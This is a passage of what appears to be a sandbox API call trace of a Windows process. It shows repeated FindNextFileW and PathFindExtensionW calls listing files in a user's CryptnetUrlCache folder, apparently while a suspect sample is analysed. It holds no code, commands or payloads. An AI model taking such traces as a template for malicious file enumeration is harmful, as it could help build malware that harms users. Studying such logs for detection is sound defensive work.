ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", cAlternateFileName="7D266D~1")) returned 1 [0069.189] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned="" [0069.189] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6056b480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6056b480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1ef687a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", cAlternateFileName="8059E9~3")) returned 1 [0069.189] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned="" [0069.189] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61210960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61210960, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaecc9960, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", cAlternateFileName="80273C~1")) returned 1 [0069.189] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned="" [0069.189] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58e24200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58e24200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9f5f40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", cAlternateFileName="8059E9~2")) returned 1 [0069.189] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned="" [0069.189] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61236ac0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61236ac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3b0b01a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", cAlternateFileName="809279~1")) returned 1 [0069.189] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned="" [0069.189] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58394060, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58394060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f739c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", cAlternateFileName="8059E9~1")) returned 1 [0069.189] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned="" [0069.189] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62378a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62378a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9a9c80, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", cAlternateFileName="80E4BE~1")) returned 1 [0069.189] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned="" [0069.189] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x613675c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x613675c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69bba4a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", cAlternateFileName="803B9E~1")) returned 1 [0069.189] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned="" [0069.189] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x63c50fe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63c50fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb100bf40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", cAlternateFileName="803D37~1")) returned 1 [0069.190] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned="" [0069.190] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61021780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61021780, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1058200, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", cAlternateFileName="8059E9~4")) returned 1 [0069.190] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned="" [0069.190] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x636a9ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x636a9ba0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb139e040, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", cAlternateFileName="800D31~1")) returned 1 [0069.190] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned="" [0069.190] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x581f7ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x581f7ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f4d860, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", cAlternateFileName="828298~1")) returned 1 [0069.190] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned="" [0069.190] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xec3c5340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec3c5340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xb16257a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", cAlternateFileName="8828F3~1")) returned 1 [0069.190] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned="" [0069.190] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x8064ac00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8064ac00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80670d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", cAlternateFileName="8828F3~2")) returned 1 [0069.190] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned="" [0069.190] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6aa2c0a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6aa2c0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xadf19ae0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", cAlternateFileName="8E4E51~1")) returned 1 [0069.190] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned="" [0069.190] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbddd270, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0xd2da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1 [0069.190] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015") returned="" [0069.190] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6a83cec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a83cec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaebe5120, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x5e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", cAlternateFileName="955CAB~1")) returned 1 [0069.190] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned="" [0069.190] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf3f73d0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf3f73d0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf3f73d0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ab, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", cAlternateFileName="9BC2FF~1")) returned 1 [0069.191] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned="" [0069.191] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe06277d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe06277d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xb15d94e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", cAlternateFileName="9C888B~1")) returned 1 [0069.191] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned="" [0069.191] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe07ca6f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe07ca6f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x965accc0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", cAlternateFileName="9C888B~2")) returned 1 [0069.191] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned="" [0069.191] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54bc3730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54bc3730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb11d4fc0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", cAlternateFileName="A9E4F7~1")) returned 1 [0069.191] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned="" [0069.191] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bfe570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bfe570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe9b34f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", cAlternateFileName="ACF244~1")) returned 1 [0069.191] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned="" [0069.191] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe04aaa10, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe04aaa10, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xae4e7080, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", cAlternateFileName="B3BB9C~2")) returned 1 [0069.191] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned="" [0069.191] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefc01b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefc01b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaa4ee1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", cAlternateFileName="B3BB9C~1")) returned 1 [0069.191] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned="" [0069.191] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54322770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54322770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", cAlternateFileName="BC570E~2")) returned 1 [0069.191] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned="" [0069.191] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", cAlternateFileName="BC570E~1")) returned 1 [0069.191] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned="" [0069.191] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x56bb3b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x56bb3b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaeca3800, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", cAlternateFileName="C46E7B~2")) returned 1 [0069.191] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned="" [0069.191] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x682fbd00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x682fbd00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae0bca00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", cAlternateFileName="C46E7B~3")) returned 1 [0069.192] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned="" [0069.192] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5461c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5461c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf67eb30, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", cAlternateFileName="C46E7B~1")) returned 1 [0069.192] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned="" [0069.192] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x728c68a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x728c68a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xae63dce0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x5ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", cAlternateFileName="D47DBD~2")) returned 1 [0069.192] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned="" [0069.192] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x545f6190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x545f6190, 